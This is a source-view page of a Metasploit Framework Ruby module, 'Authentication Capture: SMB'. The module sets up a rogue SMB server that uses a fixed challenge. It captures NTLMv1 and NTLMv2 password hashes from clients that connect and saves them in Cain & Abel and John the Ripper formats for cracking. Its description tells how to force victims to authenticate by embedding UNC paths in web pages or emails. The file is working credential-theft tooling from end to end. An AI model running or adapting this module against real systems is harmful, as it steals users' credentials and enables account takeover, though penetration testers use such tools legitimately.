Statistics
| Branch: | Tag: | Revision:

root / modules / auxiliary / server / capture / smb.rb @ master

History | View | Annotate | Download (21.9 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12

    
13
require 'msf/core'
14

    
15

    
16
class Metasploit3 < Msf::Auxiliary
17

    
18
        include Msf::Auxiliary::Report
19
        include Msf::Exploit::Remote::SMBServer
20

    
21
        def initialize
22
                super(
23
                        'Name'        => 'Authentication Capture: SMB',
24
                        'Version'     => '$Revision$',
25
                        'Description'    => %q{
26
                                This module provides a SMB service that can be used to
27
                        capture the challenge-response password hashes of SMB client
28
                        systems. Responses sent by this service have by default the
29
                        configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88),
30
                        allowing for easy cracking using Cain & Abel, L0phtcrack
31
                        or John the ripper (with jumbo patch).
32

    
33
                        To exploit this, the target system must try to authenticate
34
                        to this module. The easiest way to force a SMB authentication attempt
35
                        is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or
36
                        email message. When the victim views the web page or email, their
37
                        system will automatically connect to the server specified in the UNC
38
                        share (the IP address of the system running this module) and attempt
39
                        to authenticate.
40
                        },
41
                        'Author'      => 'hdm',
42
                        'License'     => MSF_LICENSE,
43
                        'Actions'     =>
44
                                [
45
                                        [ 'Sniffer' ]
46
                                ],
47
                        'PassiveActions' =>
48
                                [
49
                                        'Sniffer'
50
                                ],
51
                        'DefaultAction'  => 'Sniffer'
52
                )
53

    
54
                register_options(
55
                        [
56
                                #OptString.new('LOGFILE',     [ false, "The local filename to store the captured hashes", nil ]),
57
                                OptString.new('CAINPWFILE',  [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
58
                                OptString.new('JOHNPWFILE',  [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
59
                                OptString.new('CHALLENGE',   [ true, "The 8 byte challenge ", "1122334455667788" ])
60
                        ], self.class )
61

    
62
                register_advanced_options(
63
                        [
64
                                OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
65
                                OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negociate NTLM2 key' flag in NTLM authentication. " +
66
                                        "When SMB extended security negociation is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]),
67
                                OptBool.new("USE_GSS_NEGOCIATION",   [ true, "Send a gss_security blob in smb_negociate response when SMB extended security is set. " +
68
                                        "When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]),
69
                                OptString.new('DOMAIN_NAME',         [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
70
                        ], self.class)
71

    
72
        end
73

    
74
        def run
75
                @s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
76
                @s_ntlm_esn = datastore['NTLM_UseNTLM2_session']
77
                @s_gss_neg = datastore['USE_GSS_NEGOCIATION']
78
                @domain_name = datastore['DOMAIN_NAME']
79

    
80
                @s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*')
81
                if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
82
                        @challenge = [ datastore['CHALLENGE'] ].pack("H*")
83
                else
84
                        print_error("CHALLENGE syntax must match 1122334455667788")
85
                        return
86
                end
87

    
88
                #those variables will prevent to spam the screen with identical hashes (works only with ntlmv1)
89
                @previous_lm_hash="none"
90
                @previous_ntlm_hash="none"
91
                exploit()
92
        end
93

    
94
        def smb_cmd_dispatch(cmd, c, buff)
95
                smb = @state[c]
96
                pkt = CONST::SMB_BASE_PKT.make_struct
97
                pkt.from_s(buff)
98
                #Record the IDs
99
                smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
100
                smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
101
                smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
102
                smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
103

    
104
                case cmd
105
                when CONST::SMB_COM_NEGOTIATE
106
                        #client set extended security negociation
107
                        if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0)
108
                                smb_cmd_negotiate(c, buff, true)
109
                        else
110
                                smb_cmd_negotiate(c, buff, false)
111
                        end
112
                when CONST::SMB_COM_SESSION_SETUP_ANDX
113

    
114
                        wordcount = pkt['Payload']['SMB'].v['WordCount']
115

    
116
                        #CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security
117
                        #This packet contains the lm/ntlm hashes
118
                        if wordcount == 0x0D
119
                                smb_cmd_session_setup(c, buff, false)
120
                        #CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security
121
                        # can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH,
122
                        elsif wordcount == 0x0C
123
                                smb_cmd_session_setup(c, buff, true)
124
                        else
125
                                print_status("Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
126
                                smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
127
                        end
128

    
129

    
130
                when CONST::SMB_COM_TREE_CONNECT
131
                        print_status("Denying tree connect from #{smb[:name]}")
132
                        smb_error(cmd, c, SMB_SMB_STATUS_ACCESS_DENIED, @s_smb_esn)
133

    
134
                else
135
                        print_status("Ignoring request from #{smb[:name]} (#{cmd})")
136
                        smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
137
                end
138
        end
139

    
140

    
141
        def smb_cmd_negotiate(c, buff, c_esn)
142
                smb = @state[c]
143
                pkt = CONST::SMB_NEG_PKT.make_struct
144
                pkt.from_s(buff)
145

    
146
                #Record the IDs
147
                smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
148
                smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
149
                smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
150
                smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
151

    
152

    
153
                group    = ''
154
                machine  = smb[:nbsrc]
155

    
156
                dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
157
                # print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")
158

    
159
                dialect =
160
                        dialects.index("NT LM 0.12") ||
161
                        dialects.length-1
162

    
163
                pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
164
                smb_set_defaults(c, pkt)
165

    
166
                time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
167

    
168
                pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
169
                pkt['Payload']['SMB'].v['Flags1'] = 0x88
170
                pkt['Payload']['SMB'].v['WordCount'] = 17
171
                pkt['Payload'].v['Dialect'] = dialect
172
                pkt['Payload'].v['SecurityMode'] = 3
173
                pkt['Payload'].v['MaxMPX'] = 2
174
                pkt['Payload'].v['MaxVCS'] = 1
175
                pkt['Payload'].v['MaxBuff'] = 4356
176
                pkt['Payload'].v['MaxRaw'] = 65536
177
                pkt['Payload'].v['SystemTimeLow'] = time_lo
178
                pkt['Payload'].v['SystemTimeHigh'] = time_hi
179
                pkt['Payload'].v['ServerTimeZone'] = 0x0
180
                pkt['Payload'].v['SessionKey'] = 0
181

    
182
                if c_esn && @s_smb_esn then
183
                        pkt['Payload']['SMB'].v['Flags2'] = 0xc801
184
                        pkt['Payload'].v['Capabilities'] = 0x8000e3fd
185
                        pkt['Payload'].v['KeyLength'] = 0
186
                        pkt['Payload'].v['Payload'] = @s_GUID
187

    
188
                        if @s_gss_neg then
189
                                pkt['Payload'].v['Payload'] += NTLM_UTILS::make_simple_negotiate_secblob_resp
190
                        end
191

    
192
                else
193
                        pkt['Payload']['SMB'].v['Flags2'] = 0xc001
194
                        pkt['Payload'].v['Capabilities'] = 0xe3fd
195
                        pkt['Payload'].v['KeyLength'] = 8
196
                        pkt['Payload'].v['Payload'] = @challenge +
197
                                Rex::Text.to_unicode(group) + "\x00\x00" +
198
                                Rex::Text.to_unicode(machine) + "\x00\x00"
199
                end
200

    
201
                c.put(pkt.to_s)
202
        end
203

    
204
        def smb_cmd_session_setup(c, buff, esn)
205
                smb = @state[c]
206

    
207
                #extended security has been negociated
208
                if esn
209
                        pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
210
                        pkt.from_s(buff)
211

    
212
                        #Record the IDs
213
                        smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
214
                        smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
215
                        smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
216
                        smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
217
                        securityblobLen = pkt['Payload'].v['SecurityBlobLen']
218
                        blob = pkt['Payload'].v['Payload'][0,securityblobLen]
219

    
220
                        #detect if GSS is being used
221
                        if blob[0,7] == 'NTLMSSP'
222
                                c_gss = false
223
                        else
224
                                c_gss = true
225
                                start = blob.index('NTLMSSP')
226
                                if start
227
                                        blob.slice!(0,start)
228
                                else
229
                                        print_status("Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]}, ignoring ...")
230
                                        smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
231
                                        return
232
                                end
233

    
234

    
235
                        end
236
                        ntlm_message = NTLM_MESSAGE::parse(blob)
237

    
238
                        case ntlm_message
239
                        when NTLM_MESSAGE::Type1
240
                                #Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet
241

    
242
                                if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY != 0)
243
                                        c_ntlm_esn = true
244
                                else
245
                                        c_ntlm_esn = false
246
                                end
247
                                pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
248
                                pkt.from_s(buff)
249
                                smb_set_defaults(c, pkt)
250

    
251
                                pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
252
                                pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED
253
                                pkt['Payload']['SMB'].v['Flags1'] = 0x88
254
                                pkt['Payload']['SMB'].v['Flags2'] = 0xc807
255
                                pkt['Payload']['SMB'].v['WordCount'] = 4
256
                                pkt['Payload']['SMB'].v['UserID'] = 2050
257
                                pkt['Payload'].v['AndX'] = 0xFF
258
                                pkt['Payload'].v['Reserved1'] = 0x00
259
                                pkt['Payload'].v['AndXOffset'] = 283 #ignored by client
260
                                pkt['Payload'].v['Action'] = 0x0000
261

    
262
                                win_domain = Rex::Text.to_unicode(@domain_name.upcase)
263
                                win_name = Rex::Text.to_unicode(@domain_name.upcase)
264
                                dns_domain = Rex::Text.to_unicode(@domain_name.downcase)
265
                                dns_name = Rex::Text.to_unicode(@domain_name.downcase)
266

    
267
                                #create the ntlmssp_challenge security blob
268
                                if c_ntlm_esn && @s_ntlm_esn
269
                                        sb_flag = 0xe28a8215 # ntlm2
270
                                else
271
                                        sb_flag = 0xe2828215 #no ntlm2
272
                                end
273
                                if c_gss
274
                                        securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( win_domain,
275
                                                                                        win_name,
276
                                                                                        dns_domain,
277
                                                                                        dns_name,
278
                                                                                        @challenge,
279
                                                                                        sb_flag)
280
                                else
281
                                        securityblob = NTLM_UTILS::make_ntlmssp_blob_chall(         win_domain,
282
                                                                                        win_name,
283
                                                                                        dns_domain,
284
                                                                                        dns_name,
285
                                                                                        @challenge,
286
                                                                                        sb_flag)
287
                                end
288
                                pkt['Payload'].v['SecurityBlobLen'] = securityblob.length
289
                                pkt['Payload'].v['Payload'] = securityblob
290

    
291

    
292
                                c.put(pkt.to_s)
293

    
294
                        when NTLM_MESSAGE::Type3
295
                                #we can process the hash and send a status_logon_failure response packet
296

    
297
                                # Record the remote multiplex ID
298
                                smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
299
                                lm_len = ntlm_message.lm_response.length # Always 24
300
                                nt_len = ntlm_message.ntlm_response.length
301

    
302
                                if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session
303
                                        arg = {        :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
304
                                                :lm_hash => ntlm_message.lm_response.unpack('H*')[0],
305
                                                :nt_hash => ntlm_message.ntlm_response.unpack('H*')[0]
306
                                        }
307

    
308
                                        if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32
309
                                                arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
310
                                        end
311
                                #if the length of the ntlm response is not 24 then it will be bigger and represent
312
                                # a ntlmv2 response
313
                                elsif nt_len > 24 #lmv2/ntlmv2
314
                                        arg = {        :ntlm_ver                 => NTLM_CONST::NTLM_V2_RESPONSE,
315
                                                :lm_hash                 => ntlm_message.lm_response[0, 16].unpack('H*')[0],
316
                                                :lm_cli_challenge         => ntlm_message.lm_response[16, 8].unpack('H*')[0],
317
                                                :nt_hash                 => ntlm_message.ntlm_response[0, 16].unpack('H*')[0],
318
                                                :nt_cli_challenge         => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0]
319
                                        }
320
                                elsif nt_len == 0
321
                                        print_status("Empty hash from #{smb[:name]} captured, ignoring ... ")
322
                                        smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
323
                                        return
324
                                else
325
                                        print_status("Unknown hash type from #{smb[:name]}, ignoring ...")
326
                                        smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
327
                                        return
328
                                end
329

    
330
                                buff = pkt['Payload'].v['Payload']
331
                                buff.slice!(0,securityblobLen)
332
                                names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
333

    
334
                                smb[:username] = ntlm_message.user
335
                                smb[:domain]   = ntlm_message.domain
336
                                smb[:peer_os]   = names[0]
337
                                smb[:peer_lm]   = names[1]
338

    
339
                                begin
340
                                        smb_get_hash(smb,arg,true)
341
                                rescue ::Exception => e
342
                                        print_status("Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}")
343
                                end
344

    
345
                                smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
346

    
347
                        else
348
                                smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
349
                        end
350

    
351
                #if not we can get the hash and send a status_access_denied response packet
352
                else
353

    
354
                        pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
355
                        pkt.from_s(buff)
356

    
357
                        # Record the  IDs
358
                        smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
359
                        smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
360
                        smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
361
                        smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
362

    
363
                        lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24
364
                        nt_len = pkt['Payload'].v['PasswordLenNT']
365

    
366

    
367
                        if nt_len == 24
368
                                arg = {        :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
369
                                        :lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0],
370
                                        :nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
371
                                }
372
                        #if the length of the ntlm response is not 24 then it will be bigger and represent
373
                        # a ntlmv2 response
374
                        elsif nt_len > 24
375
                                arg = {        :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
376
                                        :lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0],
377
                                        :lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0],
378
                                        :nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0],
379
                                        :nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0]
380
                                }
381
                        elsif nt_len == 0
382
                                print_status("Empty hash captured from #{smb[:name]} captured, ignoring ... ")
383
                                smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
384
                                return
385
                        else
386
                                print_status("Unknown hash type capture from #{smb[:name]}, ignoring ...")
387
                                smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
388
                                return
389
                        end
390

    
391
                        buff = pkt['Payload'].v['Payload']
392
                        buff.slice!(0, lm_len + nt_len)
393
                        names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
394

    
395
                        smb[:username] = names[0]
396
                        smb[:domain]   = names[1]
397
                        smb[:peer_os]   = names[2]
398
                        smb[:peer_lm]   = names[3]
399

    
400
                        begin
401
                                smb_get_hash(smb,arg,false)
402

    
403
                        rescue ::Exception => e
404
                                print_status("Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}")
405
                        end
406

    
407
                        smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
408

    
409
                end
410
        end
411

    
412
        def smb_get_hash(smb, arg = {}, esn=true)
413

    
414
                ntlm_ver = arg[:ntlm_ver]
415
                if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
416
                        lm_hash = arg[:lm_hash]
417
                        nt_hash = arg[:nt_hash]
418
                else
419
                        lm_hash = arg[:lm_hash]
420
                        nt_hash = arg[:nt_hash]
421
                        lm_cli_challenge = arg[:lm_cli_challenge]
422
                        nt_cli_challenge = arg[:nt_cli_challenge]
423
                end
424

    
425
                # Clean up the data for loggging
426
                if (smb[:username] == "")
427
                        smb[:username] = nil
428
                end
429

    
430
                if (smb[:domain] == "")
431
                        smb[:domain] = nil
432
                end
433

    
434
                unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then
435

    
436
                        @previous_lm_hash = lm_hash
437
                        @previous_ntlm_hash = nt_hash
438

    
439
                        # Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly
440
                        case ntlm_ver
441
                        when NTLM_CONST::NTLM_V1_RESPONSE
442
                                if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
443
                                                                :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' })
444
                                        print_status("NLMv1 Hash correspond to an empty password, ignoring ... ")
445
                                        return
446
                                end
447
                                if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
448
                                        lm_hash_message = "Disabled"
449
                                elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
450
                                                                :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' })
451
                                        lm_hash_message = "Disabled (from empty password)"
452
                                else
453
                                        lm_hash_message = lm_hash
454
                                        lm_chall_message = lm_cli_challenge
455
                                end
456
                        when NTLM_CONST::NTLM_V2_RESPONSE
457
                                if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
458
                                                                :cli_challenge => [nt_cli_challenge].pack("H*"),
459
                                                                :user => Rex::Text::to_ascii(smb[:username]),
460
                                                                :domain => Rex::Text::to_ascii(smb[:domain]),
461
                                                                :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' })
462
                                        print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ")
463
                                        return
464
                                end
465
                                if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
466
                                        lm_hash_message = "Disabled"
467
                                        lm_chall_message = 'Disabled'
468
                                elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
469
                                                                :cli_challenge => [lm_cli_challenge].pack("H*"),
470
                                                                :user => Rex::Text::to_ascii(smb[:username]),
471
                                                                :domain => Rex::Text::to_ascii(smb[:domain]),
472
                                                                :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' })
473
                                        lm_hash_message = "Disabled (from empty password)"
474
                                        lm_chall_message = 'Disabled'
475
                                else
476
                                        lm_hash_message = lm_hash
477
                                        lm_chall_message = lm_cli_challenge
478
                                end
479

    
480
                        when NTLM_CONST::NTLM_2_SESSION_RESPONSE
481
                                if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
482
                                                                :cli_challenge => [lm_hash].pack("H*")[0,8],
483
                                                                :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' })
484
                                        print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ")
485
                                        return
486
                                end
487
                                lm_hash_message = lm_hash
488
                                lm_chall_message = lm_cli_challenge
489
                        end
490

    
491

    
492
                        # Display messages
493
                        if esn
494
                                smb[:username] = Rex::Text::to_ascii(smb[:username])
495
                                smb[:domain]   = Rex::Text::to_ascii(smb[:domain]) if smb[:domain]
496
                        end
497

    
498
                        capturedtime = Time.now.to_s
499
                        case ntlm_ver
500
                        when NTLM_CONST::NTLM_V1_RESPONSE
501
                                smb_db_type_hash = "smb_netv1_hash"
502
                                capturelogmessage =
503
                                        "#{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} \n" +
504
                                        "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
505
                                        "LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
506
                        when NTLM_CONST::NTLM_V2_RESPONSE
507
                                smb_db_type_hash = "smb_netv2_hash"
508
                                capturelogmessage =
509
                                        "#{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} \n" +
510
                                        "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
511
                                        "LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
512
                                        "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
513
                                        "NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
514
                                        "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
515
                        when NTLM_CONST::NTLM_2_SESSION_RESPONSE
516
                                #we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr
517
                                #also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture
518
                                smb_db_type_hash = "smb_netv1_hash"
519
                                capturelogmessage =
520
                                        "#{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} \n" +
521
                                        "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
522
                                        "NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
523
                                        "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"
524

    
525
                        else # should not happen
526
                                return
527
                        end
528

    
529
                        print_status(capturelogmessage)
530

    
531
                        # DB reporting
532
                        report_auth_info(
533
                                :host  => smb[:ip],
534
                                :port => datastore['SRVPORT'],
535
                                :sname => 'smb_challenge',
536
                                :user => smb[:username],
537
                                :pass => smb[:domain] + ":" +
538
                                        ( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : "00" * 24 ) + ":" +
539
                                        ( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s :  "00" * 24 ) + ":" +
540
                                        datastore['CHALLENGE'].to_s,
541
                                :type => smb_db_type_hash,
542
                                :proof => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}",
543
                                :source_type => "captured",
544
                                :active => true
545
                        )
546

    
547
                        report_note(
548
                                :host  => smb[:ip],
549
                                :type  => "smb_peer_os",
550
                                :data  => smb[:peer_os]
551
                        ) if (smb[:peer_os] and smb[:peer_os].strip.length > 0)
552

    
553
                        report_note(
554
                                :host  => smb[:ip],
555
                                :type  => "smb_peer_lm",
556
                                :data  => smb[:peer_lm]
557
                        ) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0)
558

    
559
                        report_note(
560
                                :host  => smb[:ip],
561
                                :type  => "smb_domain",
562
                                :data  => smb[:domain]
563
                        ) if (smb[:domain] and smb[:domain].strip.length > 0)
564

    
565

    
566
                        #if(datastore['LOGFILE'])
567
                        #        File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
568
                        #end
569

    
570
                        if(datastore['CAINPWFILE'] and smb[:username])
571
                                if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
572
                                        fd = File.open(datastore['CAINPWFILE'], "ab")
573
                                        fd.puts(
574
                                                [
575
                                                        smb[:username],
576
                                                        smb[:domain] ? smb[:domain] : "NULL",
577
                                                        @challenge.unpack("H*")[0],
578
                                                        lm_hash ? lm_hash : "0" * 48,
579
                                                        nt_hash ? nt_hash : "0" * 48
580
                                                ].join(":").gsub(/\n/, "\\n")
581
                                        )
582
                                        fd.close
583
                                end
584
                        end
585

    
586
                        if(datastore['JOHNPWFILE'] and smb[:username])
587
                                case ntlm_ver
588
                                when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE
589

    
590
                                        fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab")
591
                                        fd.puts(
592
                                                [
593
                                                        smb[:username],"",
594
                                                        smb[:domain] ? smb[:domain] : "NULL",
595
                                                        lm_hash ? lm_hash : "0" * 48,
596
                                                        nt_hash ? nt_hash : "0" * 48,
597
                                                        @challenge.unpack("H*")[0]
598
                                                ].join(":").gsub(/\n/, "\\n")
599
                                        )
600
                                        fd.close
601
                                when NTLM_CONST::NTLM_V2_RESPONSE
602
                                        #lmv2
603
                                        fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab")
604
                                        fd.puts(
605
                                                [
606
                                                        smb[:username],"",
607
                                                        smb[:domain] ? smb[:domain] : "NULL",
608
                                                        @challenge.unpack("H*")[0],
609
                                                        lm_hash ? lm_hash : "0" * 32,
610
                                                        lm_cli_challenge ? lm_cli_challenge : "0" * 16
611
                                                ].join(":").gsub(/\n/, "\\n")
612
                                        )
613
                                        fd.close
614
                                        #ntlmv2
615
                                        fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab")
616
                                        fd.puts(
617
                                                [
618
                                                        smb[:username],"",
619
                                                        smb[:domain] ? smb[:domain] : "NULL",
620
                                                        @challenge.unpack("H*")[0],
621
                                                        nt_hash ? nt_hash : "0" * 32,
622
                                                        nt_cli_challenge ? nt_cli_challenge : "0" * 160
623
                                                ].join(":").gsub(/\n/, "\\n")
624
                                        )
625
                                        fd.close
626
                                end
627

    
628
                        end
629
                end
630
        end
631

    
632
        def smb_cmd_close(c, buff)
633
        end
634

    
635
        def smb_cmd_create(c, buff)
636
        end
637

    
638
        def smb_cmd_delete(c, buff)
639
        end
640

    
641
        def smb_cmd_nttrans(c, buff)
642
        end
643

    
644
        def smb_cmd_open(c, buff)
645
        end
646

    
647
        def smb_cmd_read(c, buff)
648
        end
649

    
650
        def smb_cmd_trans(c, buff)
651
        end
652

    
653
        def smb_cmd_tree_connect(c, buff)
654
        end
655

    
656
        def smb_cmd_tree_disconnect(c, buff)
657
        end
658

    
659
        def smb_cmd_write(c, buff)
660
        end
661

    
662
end
663